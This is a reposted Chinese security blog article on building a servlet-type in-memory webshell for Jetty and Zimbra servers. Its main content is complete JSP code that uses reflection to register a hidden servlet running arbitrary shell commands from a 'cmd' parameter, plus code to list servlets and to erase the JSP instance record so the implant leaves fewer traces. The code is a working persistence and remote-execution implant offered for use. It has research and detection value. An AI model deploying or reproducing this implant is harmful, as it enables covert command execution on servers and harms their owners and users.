Jetty Servlet型内存马
2023-4-28 12:6:24 Author: 白帽子左一(查看原文) 阅读量:21 收藏

扫码领资料

获网安教程

免费&进群

0x00 前言

在上篇文章介绍了Jetty Filter型内存马的实现思路和细节,本文介绍Jetty Servlet型内存马的实现思路和细节

0x01 简介


本文将要介绍以下内容:
  • 实现思路
  • 实现代码
  • Zimbra环境下的Servlet型内存马

0x02 实现思路


同样是使用Thread获得webappclassloaer,进而通过反射调用相关方法添加Servlet型内存马

0x03 实现代码


1.添加Servlet

Jetty下可用的完整代码如下:
<%@ page import="java.lang.reflect.Field"%><%@ page import="java.lang.reflect.Method"%><%@ page import="java.util.Scanner"%><%@ page import="java.io.*"%><%    String servletName = "myServlet";    String urlPattern = "/servlet";    Servlet servlet = new Servlet() {        @Override        public void init(ServletConfig servletConfig) throws ServletException {        }        @Override        public ServletConfig getServletConfig() {            return null;        }        @Override        public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {            HttpServletRequest req = (HttpServletRequest) servletRequest;            if (req.getParameter("cmd") != null) {                boolean isLinux = true;                String osTyp = System.getProperty("os.name");                if (osTyp != null && osTyp.toLowerCase().contains("win")) {                    isLinux = false;                }                String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")};                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();                Scanner s = new Scanner( in ).useDelimiter("\\a");                String output = s.hasNext() ? s.next() : "";                servletResponse.getWriter().write(output);                servletResponse.getWriter().flush();                return;            }        }        @Override        public String getServletInfo() {            return null;        }        @Override        public void destroy() {        }    };    Method threadMethod = Class.forName("java.lang.Thread").getDeclaredMethod("getThreads");    threadMethod.setAccessible(true);    Thread[] threads = (Thread[]) threadMethod.invoke(null);    ClassLoader threadClassLoader = null;    for (Thread thread : threads)    {        threadClassLoader = thread.getContextClassLoader();        if(threadClassLoader != null){            if(threadClassLoader.toString().contains("WebAppClassLoader")){                Field fieldContext = threadClassLoader.getClass().getDeclaredField("_context");                fieldContext.setAccessible(true);                Object webAppContext = fieldContext.get(threadClassLoader);                Field fieldServletHandler = webAppContext.getClass().getSuperclass().getDeclaredField("_servletHandler");                fieldServletHandler.setAccessible(true);                Object servletHandler = fieldServletHandler.get(webAppContext);                Field fieldServlets = servletHandler.getClass().getDeclaredField("_servlets");                fieldServlets.setAccessible(true);                Object[] servlets = (Object[]) fieldServlets.get(servletHandler);                boolean flag = false;                for(Object s:servlets){                    Field fieldName = s.getClass().getSuperclass().getDeclaredField("_name");                    fieldName.setAccessible(true);                    String name = (String) fieldName.get(s);                    if(name.equals(servletName)){                        flag = true;                        break;                    }                }                if(flag){                    out.println("[-] Servlet " + servletName + " exists.<br>");                    return;                }                out.println("[+] Add Servlet: " + servletName + "<br>");                out.println("[+] urlPattern: " + urlPattern + "<br>");                ClassLoader classLoader = servletHandler.getClass().getClassLoader();                Class sourceClazz = null;                Object holder = null;                Field field = null;                try{                    sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.Source");                    field = sourceClazz.getDeclaredField("JAVAX_API");                    Method method = servletHandler.getClass().getMethod("newServletHolder", sourceClazz);                    holder = method.invoke(servletHandler, field.get(null));                }catch(ClassNotFoundException e){                    sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.BaseHolder$Source");                    Method method = servletHandler.getClass().getMethod("newServletHolder", sourceClazz);                    holder = method.invoke(servletHandler, Enum.valueOf(sourceClazz, "JAVAX_API"));                }                holder.getClass().getMethod("setName", String.class).invoke(holder, servletName);                holder.getClass().getMethod("setServlet", Servlet.class).invoke(holder, servlet);                servletHandler.getClass().getMethod("addServlet", holder.getClass()).invoke(servletHandler, holder);                Class clazz = classLoader.loadClass("org.eclipse.jetty.servlet.ServletMapping");                Object servletMapping = null;                try{                    servletMapping = clazz.getDeclaredConstructor(sourceClazz).newInstance(field.get(null));                }catch(NoSuchMethodException e){                    servletMapping = clazz.newInstance();                }                servletMapping.getClass().getMethod("setServletName", String.class).invoke(servletMapping, servletName);                servletMapping.getClass().getMethod("setPathSpecs", String[].class).invoke(servletMapping, new Object[]{new String[]{urlPattern}});                servletHandler.getClass().getMethod("addServletMapping", clazz).invoke(servletHandler, servletMapping);            }             }    }%>

2.枚举Servlet

(1)通过request对象调用getServletRegistrations枚举Servlet

Jetty下可用的完整代码如下:
<%@ page import="java.lang.reflect.Method "%><%    ServletContext servletContext = request.getServletContext();    Methodm1 = servletContext.getClass().getSuperclass().getDeclaredMethod("getServletRegistrations");    Object obj1 = m1.invoke(servletContext);    out.println(obj1); %>
对应命令为:
request.getSession().getServletContext().getClass().getSuperclass().getDeclaredMethod("getServletRegistrations").invoke(request.getSession().getServletContext())
(2)通过Thread获得webappclassloaer,通过反射读取_servlets属性来枚举Servlet
Jetty下可用的完整代码如下:
<%@ page import="java.lang.reflect.Field"%><%@ page import="java.lang.reflect.Method"%><%    Method threadMethod = Class.forName("java.lang.Thread").getDeclaredMethod("getThreads");    threadMethod.setAccessible(true);    Thread[] threads = (Thread[]) threadMethod.invoke(null);    ClassLoader threadClassLoader = null;
for (Thread thread:threads) { threadClassLoader = thread.getContextClassLoader(); if(threadClassLoader != null){ if(threadClassLoader.toString().contains("WebAppClassLoader")){ Field fieldContext = threadClassLoader.getClass().getDeclaredField("_context"); fieldContext.setAccessible(true); Object webAppContext = fieldContext.get(threadClassLoader); Field fieldServletHandler = webAppContext.getClass().getSuperclass().getDeclaredField("_servletHandler"); fieldServletHandler.setAccessible(true); Object servletHandler = fieldServletHandler.get(webAppContext); Field fieldServlets = servletHandler.getClass().getDeclaredField("_servlets"); fieldServlets.setAccessible(true); Object[] servlets = (Object[]) fieldServlets.get(servletHandler); boolean flag = false; for(Object servlet:servlets){ out.print(servlet + "<br>"); } } } }%>
注:该方法在Zimbra环境下会存在多个重复结果

0x04 Zimbra环境下的Servlet型内存马


Zimbra存在多个名为WebAppClassLoader的线程,所以在添加Servlet时需要修改判断条件,避免提前退出,在实例代码的基础上直接修改即可
在Zimbra环境下测试还需要注意一个问题:在rctxt->jsps下会标记所有执行过的jsp实例,测试代码如下:
<%@ page import="java.lang.reflect.Field" %><%@ page import="java.util.concurrent.ConcurrentHashMap" %><%@ page import="java.util.*" %><%       Field f = request.getClass().getDeclaredField("_scope");    f.setAccessible(true);    Object conn1 = f.get(request);    f = conn1.getClass().getDeclaredField("_servlet");    f.setAccessible(true);    Object conn2 = f.get(conn1);    f = conn2.getClass().getSuperclass().getDeclaredField("rctxt");    f.setAccessible(true);    Object conn3 = f.get(conn2);    f = conn3.getClass().getDeclaredField("jsps");    f.setAccessible(true);    ConcurrentHashMap conn4 = (ConcurrentHashMap)f.get(conn3);      Enumeration enu = conn4.keys();     while (enu.hasMoreElements()) {         out.println(enu.nextElement() + "<br>");     }  %>
当然,我们可以通过反射删除内存马对应的jsp实例,测试代码如下:
<%@ page import="java.lang.reflect.Field" %><%@ page import="java.util.concurrent.ConcurrentHashMap" %><%@ page import="java.util.*" %><%
Field f = request.getClass().getDeclaredField("_scope"); f.setAccessible(true); Object conn1 = f.get(request); f = conn1.getClass().getDeclaredField("_servlet"); f.setAccessible(true); Object conn2 = f.get(conn1); f = conn2.getClass().getSuperclass().getDeclaredField("rctxt"); f.setAccessible(true); Object conn3 = f.get(conn2); f = conn3.getClass().getDeclaredField("jsps"); f.setAccessible(true); ConcurrentHashMap conn4 = (ConcurrentHashMap)f.get(conn3); conn4.remove("/myServlet.jsp");%>
无论是Filter型内存马还是Servlet型内存马,删除内存马对应的jsp实例不影响内存马的正常使用

0x05 利用思路


同Filter型内存马一样,Servlet型内存马的优点是不需要写入文件,但是会在服务重启时失效

0x06 小结


本文介绍了Jetty Servlet型内存马的实现思路和细节,给出了可供测试的代码,分享了Zimbra环境的利用方法。
来源:https://3gstudent.github.io/Java%E5%88%A9%E7%94%A8%E6%8A%80%E5%B7%A7-Jetty-Servlet%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

@
学习更多渗透技能!体验靶场实战练习

hack视频资料及工具

(部分展示)

往期推荐

【精选】SRC快速入门+上分小秘籍+实战指南

爬取免费代理,拥有自己的代理池

漏洞挖掘|密码找回中的套路

渗透测试岗位面试题(重点:渗透思路)

漏洞挖掘 | 通用型漏洞挖掘思路技巧

干货|列了几种均能过安全狗的方法!

一名大学生的黑客成长史到入狱的自述

攻防演练|红队手段之将蓝队逼到关站!

巧用FOFA挖到你的第一个漏洞

看到这里了,点个“赞”、“再看”吧

文章来源: http://mp.weixin.qq.com/s?__biz=MzI4NTcxMjQ1MA==&mid=2247594274&idx=1&sn=89be56cf59aee6dc34d978b31feacf54&chksm=ebeb380fdc9cb11976506c73662a470c38af47c06d4deb47d69cdfd5512e56f6382866f078c1#rd
如有侵权请联系:admin#unsafe.sh